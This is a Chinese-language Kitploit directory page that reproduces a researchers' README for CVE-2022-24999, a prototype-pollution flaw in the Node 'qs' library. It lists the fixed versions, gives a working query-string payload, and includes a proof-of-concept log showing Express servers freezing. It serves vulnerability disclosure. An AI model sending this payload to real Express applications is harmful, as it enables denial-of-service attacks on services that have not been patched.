Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-24999 — `qs` 原型污染漏洞(CVE-2022-24999) | Kitploit
工具/GitHubGitHub/9pings/cve-2022-24999
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全
GitHub9pings/cve-2022-24999

CVE-2022-24999

`qs` 原型污染漏洞(CVE-2022-24999)

查看仓库
831年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-24999

本仓库包含我们在2021年12月发现的JS库“qs”中漏洞的利用示例。

  • 该漏洞已在 express v4.17.3 及 qs v6.10.3 v6.9.7, v6.8.3, v6.7.3, v6.6.1, v6.5.3, v6.4.1, v6.3.3 和 v6.2.4 中修复。

qs 数组与字符串炸弹

“qs”的易受攻击版本允许在输出的JS对象上创建“proto”属性。

通过将数组设置在“proto”属性中,我们能够创建“类数组”对象。

由于生成的对象继承了“Array”原型,因此它们暴露了原生数组函数。

但由于它们仍然是对象,“qs”允许在其上设置“length”属性。

例如,以下载荷将创建这种“邪恶”数组:

root@kitploit:~
categories[_proto__]&categories[_proto__]&categories[length]=100000000

因此,在其上设置不合理的“length”值将导致节点进程在尝试将其转换为字符串值或调用大多数原生数组函数时冻结。

这使得任何使用易受攻击版本“qs”的Node应用程序(具有默认Express配置且缺乏强验证系统)都暴露于应用层DOS攻击。

以下是./express-qs-string-bomb中的POC日志示例:

root@kitploit:~
发送载荷 :  someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] 接收到参数  { someString: Array { length: '100000000' } }
[server] 执行 someString + 0
[server] someString + 0 : 6.364s
[server] 执行 someString == "123" 
[server] someString == "123" : 6.387s
[server] 直接写入 `Got ${someString}`
[server] 直接写入 `Got ${someString}` : 6.397s

其他可利用行为

我们的分析还发现存在其他利用方式。

我们在./qs-vulns目录中描述了其中一些。

致谢

BRAUN Nathanael & BRISSAUD Johan
来自 EY Security, 法国

下载工具